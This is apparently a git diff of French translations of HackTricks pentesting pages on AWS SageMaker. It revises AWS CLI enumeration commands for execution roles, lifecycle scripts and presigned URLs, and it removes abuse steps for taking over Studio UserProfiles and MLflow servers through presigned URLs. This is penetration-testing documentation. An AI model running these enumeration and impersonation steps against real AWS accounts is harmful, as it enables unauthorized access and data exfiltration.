-Amazon SageMaker est la plateforme ML gérée d'AWS qui relie notebooks, infrastructure de training, orchestration, registries et endpoints gérés. Une compromission des ressources SageMaker fournit typiquement :
+Amazon SageMaker est la plateforme de machine learning gérée par AWS qui relie notebooks, infrastructure de training, orchestration, registries et endpoints gérés. Une compromission des ressources SageMaker fournit typiquement :
 
-- Rôles d'exécution IAM longuement valides avec de larges accès à S3, ECR, Secrets Manager ou KMS.
-- Accès à des jeux de données sensibles stockés dans S3, EFS ou dans des feature stores.
-- Points d'appui réseau à l'intérieur de VPCs (Studio apps, training jobs, endpoints).
-- URLs présignées à haute privilège qui contournent l'authentification console.
+- Des execution roles IAM longue durée avec un large accès à S3, ECR, Secrets Manager, ou KMS.
+- L'accès à des jeux de données sensibles stockés dans S3, EFS, ou à l'intérieur de feature stores.
+- Des points d'appui réseau à l'intérieur de VPCs (Studio apps, training jobs, endpoints).
+- Des presigned URLs à privilèges élevés qui contournent l'authentification console.
 
-Comprendre comment SageMaker est assemblé est essentiel avant de pivoter, persister ou exfiltrer des données.
+Comprendre comment SageMaker est assemblé est essentiel avant you pivot, persist, or exfiltrate data.
 
-## Core Building Blocks
+## Composants principaux
 
-- **Studio Domains & Spaces**: IDE web (JupyterLab, Code Editor, RStudio). Chaque domain a un système de fichiers EFS partagé et un rôle d'exécution par défaut.
-- **Notebook Instances**: Instances EC2 gérées pour notebooks autonomes ; utilisent des rôles d'exécution séparés.
-- **Training / Processing / Transform Jobs**: Conteneurs éphémères qui tirent du code depuis ECR et des données depuis S3.
-- **Pipelines & Experiments**: Workflows orchestrés qui décrivent toutes les étapes, entrées et sorties.
-- **Models & Endpoints**: Artefacts empaquetés déployés pour l'inférence via des endpoints HTTPS.
+- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Chaque domain dispose d'un système de fichiers EFS partagé et d'un execution role par défaut.
+- **Notebook Instances**: Instances EC2 gérées pour notebooks autonomes ; utilisent des execution roles séparés.
+- **Training / Processing / Transform Jobs**: Conteneurs éphémères qui pull du code depuis ECR et des données depuis S3.
+- **Pipelines & Experiments**: Workflows orchestrés décrivant toutes les étapes, les entrées et les sorties.
+- **Models & Endpoints**: Artefacts packagés déployés pour l'inférence via des endpoints HTTPS.
 - **Feature Store & Data Wrangler**: Services gérés pour la préparation des données et la gestion des features.
 - **Autopilot & JumpStart**: ML automatisé et catalogue de modèles sélectionnés.
-- **MLflow Tracking Servers**: UI/API MLflow gérées avec tokens d'accès présignés.
+- **MLflow Tracking Servers**: UI/API MLflow gérées avec des presigned access tokens.
 
-Chaque ressource référence un rôle d'exécution, des emplacements S3, des images de conteneur, et une configuration VPC/KMS optionnelle — capturez-les tous durant l'énumération.
+Chaque ressource référence un execution role, des emplacements S3, des images de conteneur, et une configuration VPC/KMS optionnelle — capturez-les tous pendant l'énumération.
 
-## Account & Global Metadata
+## Métadonnées du compte et globales
 ```bash
 REGION=us-east-1
 # Portfolio status, used when provisioning Studio resources
@@ -39,7 +39,7 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' -
 # Generic tag sweep across any SageMaker ARN you know
 aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
 ```
-Notez toute relation de confiance inter-comptes (rôles d'exécution ou S3 buckets avec des principals externes) et les restrictions de base telles que les service control policies (SCPs).
+Notez toute relation de confiance inter-comptes (execution roles ou S3 buckets avec des external principals) et les restrictions de base telles que service control policies ou SCPs.
 
 ## Studio Domains, Apps & Shared Spaces
 ```bash
@@ -64,10 +64,10 @@ aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <n
 
 - `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
 - EFS monté (`HomeEfsFileSystemId`) et répertoires home S3.
-- Lifecycle scripts (contiennent souvent des identifiants bootstrap ou du code additionnel push/pull).
+- Lifecycle scripts (contiennent souvent des identifiants bootstrap ou du code supplémentaire push/pull).
 
 > [!TIP]
-> Presigned Studio URLs peuvent contourner l'authentification si elles sont accordées de manière trop large.
+> Les Presigned Studio URLs peuvent contourner l'authentification si leur accès est trop large.
 
 ## Notebook Instances & Lifecycle Configs
 ```bash
@@ -78,11 +78,11 @@ aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-li
 ```
 Les métadonnées du notebook révèlent :
 
-- Le rôle d'exécution (`RoleArn`), accès direct à Internet vs. en mode VPC uniquement.
+- Rôle d'exécution (`RoleArn`), accès direct à Internet vs VPC-only.
 - Emplacements S3 dans `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
-- Scripts de lifecycle susceptibles de contenir des credentials ou des hooks de persistance.
+- Scripts de lifecycle pour credentials ou hooks de persistance.
 
-## Jobs de Training, Processing, Transform et Batch
+## Training, Processing, Transform & Batch Jobs
 ```bash
 aws sagemaker list-training-jobs --region $REGION
 aws sagemaker describe-training-job --training-job-name <job> --region $REGION
@@ -93,14 +93,14 @@ aws sagemaker describe-processing-job --processing-job-name <job> --region $REGI
 aws sagemaker list-transform-jobs --region $REGION
 aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
 ```
-Examinez :
+Scrutez :
 
 - `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – quelles images ECR sont déployées.
 - `InputDataConfig` & `OutputDataConfig` – les buckets S3, les préfixes et les clés KMS.
-- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – déterminer la posture réseau ou de chiffrement.
+- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – déterminent la posture réseau ou de chiffrement.
 - `HyperParameters` peuvent leak des secrets d'environnement ou des chaînes de connexion.
 
-## Pipelines, Expériences et Essais
+## Pipelines, Experiments & Trials
 ```bash
 aws sagemaker list-pipelines --region $REGION
 aws sagemaker list-pipeline-executions --pipeline-name <pipeline> --region $REGION
@@ -110,9 +110,9 @@ aws sagemaker list-experiments --region $REGION
 aws sagemaker list-trials --experiment-name <experiment> --region $REGION
 aws sagemaker list-trial-components --trial-name <trial> --region $REGION
 ```
-Les définitions de pipeline décrivent chaque étape, les rôles associés, les images de conteneur et les variables d'environnement. Les Trial components contiennent souvent des URI d'artefacts d'entraînement, des logs S3 et des métriques qui laissent entrevoir le flux de données sensibles.
+Les définitions de pipeline détaillent chaque étape, les rôles associés, les images de conteneurs et les variables d'environnement. Les Trial components contiennent souvent des URI d'artefacts d'entraînement, des logs S3 et des métriques qui laissent entrevoir le flux de données sensibles.
 
-## Modèles, configurations d'endpoint & endpoints déployés
+## Modèles, configurations des points de terminaison et points de terminaison déployés
 ```bash
 aws sagemaker list-models --region $REGION
 aws sagemaker describe-model --model-name <name> --region $REGION
@@ -123,10 +123,10 @@ aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $RE
 aws sagemaker list-endpoints --region $REGION
 aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
 ```
-- URIs S3 des artefacts de modèle (`PrimaryContainer.ModelDataUrl`) et images de conteneurs d'inférence.
-- Configuration de la capture de données des endpoints (S3 bucket, KMS) pour une possible log exfil.
-- Endpoints multi-modèles utilisant `S3DataSource` ou `ModelPackage` (vérifier le cross-account packaging).
-- Configurations réseau et security groups attachés aux endpoints.
+- URIs S3 des artefacts de modèle (`PrimaryContainer.ModelDataUrl`) et images des conteneurs d'inférence.
+- Configuration de capture de données des endpoints (S3 bucket, KMS) pour une éventuelle exfiltration de logs.
+- Endpoints multi-modèles utilisant `S3DataSource` ou `ModelPackage` (vérifier le packaging cross-account).
+- Configurations réseau et groupes de sécurité attachés aux endpoints.
 
 ## Feature Store, Data Wrangler & Clarify
 ```bash
@@ -139,13 +139,13 @@ aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
 aws sagemaker list-model-quality-job-definitions --region $REGION
 aws sagemaker list-model-monitoring-schedule --region $REGION
 ```
-Points de sécurité à retenir :
+Points de sécurité :
 
-- Les feature stores en ligne répliquent des données vers Kinesis ; vérifiez `OnlineStoreConfig.SecurityConfig.KmsKeyId` et la VPC.
-- Les flows Data Wrangler contiennent souvent des identifiants JDBC/Redshift ou des endpoints privés intégrés.
-- Les jobs Clarify/Model Monitor exportent des données vers S3 qui peuvent être publiquement lisibles ou accessibles depuis d'autres comptes.
+- Online feature stores répliquent des données vers Kinesis ; vérifiez `OnlineStoreConfig.SecurityConfig.KmsKeyId` et VPC.
+- Data Wrangler flows intègrent souvent des identifiants JDBC/Redshift ou des points de terminaison privés.
+- Les jobs Clarify/Model Monitor exportent des données vers S3 qui peuvent être lisibles publiquement ou accessibles par d'autres comptes.
 
-## MLflow Tracking Servers, Autopilot & JumpStart
+## Serveurs de tracking MLflow, Autopilot & JumpStart
 ```bash
 aws sagemaker list-mlflow-tracking-servers --region $REGION
 aws sagemaker describe-mlflow-tracking-server --tracking-server-name <name> --region $REGION
@@ -156,15 +156,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
 aws sagemaker list-jumpstart-models --region $REGION
 aws sagemaker list-jumpstart-script-resources --region $REGION
 ```
-- Les serveurs de tracking MLflow stockent les expériences et artefacts ; les URLs présignées peuvent tout exposer.
-- Les jobs Autopilot lancent plusieurs training jobs — énumérez les outputs à la recherche de données cachées.
+- MLflow tracking servers stockent des expériences et des artefacts ; les URLs pré-signées peuvent tout exposer.
+- Les jobs Autopilot lancent plusieurs training jobs — énumérez les sorties pour trouver des données cachées.
 - Les architectures de référence JumpStart peuvent déployer des rôles privilégiés dans le compte.
 
-## Considérations IAM & réseau
+## IAM & Networking Considerations
 
-- Enumérez les IAM policies attachées à tous les rôles d'exécution (Studio, notebooks, training jobs, pipelines, endpoints).
-- Vérifiez les contextes réseau : subnets, security groups, VPC endpoints. De nombreuses organisations isolent les training jobs mais oublient de restreindre le trafic sortant.
-- Examinez les politiques des buckets S3 référencées dans `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` pour détecter un accès externe.
+- Énumérez les politiques IAM attachées à tous les rôles d'exécution (Studio, notebooks, training jobs, pipelines, endpoints).
+- Vérifiez le contexte réseau : subnets, security groups, VPC endpoints. De nombreuses organisations isolent les training jobs mais oublient de restreindre le trafic sortant.
+- Passez en revue les bucket policies S3 référencées dans `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` pour détecter un accès externe.
 
 ## Privilege Escalation
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
index a5cae23e3..8a8810d57 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
@@ -2,107 +2,12 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## SageMaker Studio - Prise de contrôle de compte via CreatePresignedDomainUrl (Se faire passer pour n'importe quel UserProfile)
+## URLs pré-signées pour SageMaker
 
-### Description
-Une identité disposant de la permission d'appeler `sagemaker:CreatePresignedDomainUrl` sur un `UserProfile` ciblé de Studio peut générer une URL de connexion qui authentifie directement dans SageMaker Studio en tant que ce profil. Cela accorde au navigateur de l'attaquant une session Studio qui hérite des permissions `ExecutionRole` du profil et l'accès complet au répertoire utilisateur monté sur EFS et aux apps du profil. Aucun `iam:PassRole` ni accès à la console n'est requis.
+Si un attaquant parvient à obtenir une URL pré-signée pour une ressource SageMaker, il peut y accéder sans authentification supplémentaire. Les autorisations et le niveau d'accès dépendront du rôle associé à la ressource :
 
-### Requirements
-- Un SageMaker Studio `Domain` et un `UserProfile` cible à l'intérieur.
-- Le principal attaquant doit avoir `sagemaker:CreatePresignedDomainUrl` sur le `UserProfile` cible (au niveau de la ressource) ou `*`.
-
-Exemple de policy minimal (restreint à un seul UserProfile):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": "sagemaker:CreatePresignedDomainUrl",
-"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
-}
-]
-}
-```
-### Étapes d'abus
-
-1) Énumérer un Studio Domain et des UserProfiles que vous pouvez cibler
-```bash
-DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
-aws sagemaker list-user-profiles --domain-id-equals $DOM
-TARGET_USER=<UserProfileName>
-```
-2) Générer une presigned URL (valide ~5 minutes par défaut)
-```bash
-aws sagemaker create-presigned-domain-url \
---domain-id $DOM \
---user-profile-name $TARGET_USER \
---query AuthorizedUrl --output text
-```
-3) Ouvrez l'URL retournée dans un navigateur pour vous connecter à Studio en tant qu'utilisateur cible. Dans un terminal Jupyter à l'intérieur de Studio, vérifiez l'identité effective :
-```bash
-aws sts get-caller-identity
-```
-Notes:
-- `--landing-uri` peut être omis. Certaines valeurs (par ex., `app:JupyterLab:/lab`) peuvent être rejetées selon la variante/version de Studio; les valeurs par défaut redirigent généralement vers la page d'accueil de Studio puis vers Jupyter.
-- Les politiques d'organisation / les restrictions d'endpoint VPC peuvent toujours bloquer l'accès réseau; la génération du token ne nécessite pas de connexion console ni `iam:PassRole`.
-
-### Impact
-- Mouvement latéral et escalade de privilèges en assumant n'importe quel Studio `UserProfile` dont l'ARN est autorisé, héritant ainsi de son `ExecutionRole` et de son système de fichiers/applications.
-
-### Preuves (d'un test contrôlé)
-- Avec uniquement `sagemaker:CreatePresignedDomainUrl` sur un `UserProfile` cible, le rôle attaquant a renvoyé avec succès un `AuthorizedUrl` comme :
-```
-https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
-```
-- Une requête HTTP directe répond par une redirection (HTTP 302) vers Studio, confirmant que l'URL est valide et active jusqu'à expiration.
-
-
-## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
-
-### Description
-Une identité disposant de la permission d'appeler `sagemaker:CreatePresignedMlflowTrackingServerUrl` pour un SageMaker MLflow Tracking Server cible peut générer une URL pré-signée à usage unique qui authentifie directement sur l'interface MLflow gérée de ce serveur. Cela accorde le même accès qu'un utilisateur légitime au serveur (visualiser/créer des expériences et des exécutions, et télécharger/téléverser des artefacts dans le magasin d'artefacts S3 du serveur) sans accès à la console ni `iam:PassRole`.
-
-### Prérequis
-- Un SageMaker MLflow Tracking Server dans le compte/la région, et connaître son nom.
-- Le principal attaquant a besoin de `sagemaker:CreatePresignedMlflowTrackingServerUrl` sur la ressource MLflow Tracking Server cible (ou `*`).
-
-Minimal policy example (scoped to one Tracking Server):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
-"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
-}
-]
-}
-```
-### Étapes d'abus
-
-1) Énumérez les MLflow Tracking Servers que vous pouvez cibler et choisissez un nom
-```bash
-aws sagemaker list-mlflow-tracking-servers \
---query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
-TS_NAME=<tracking-server-name>
-```
-2) Générer une URL MLflow UI pré-signée (valide pendant une courte durée)
-```bash
-aws sagemaker create-presigned-mlflow-tracking-server-url \
---tracking-server-name "$TS_NAME" \
---expires-in-seconds 300 \
---session-expiration-duration-in-seconds 1800 \
---query AuthorizedUrl --output text
-```
-3) Ouvrez l'URL retournée dans un navigateur pour accéder à l'UI MLflow en tant qu'utilisateur authentifié pour ce Tracking Server.
-
-Remarques :
-- Le Tracking Server doit être dans un état prêt (par ex., `Created/Active`). S'il est encore en `Creating`, l'appel sera rejeté.
-- L'URL pré-signée est à usage unique et de courte durée ; générez-en une nouvelle si nécessaire.
-
-### Impact
-- Accès direct à l'UI MLflow gérée pour le Tracking Server ciblé, permettant la consultation et la modification des experiments/runs et la récupération ou le téléversement d'artefacts stockés dans le S3 artifact store configuré du serveur, dans les limites des permissions appliquées par la configuration du serveur.
+{{#ref}}
+../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
+{{#endref}}
 
 {{#include ../../../../banners/hacktricks-training.md}}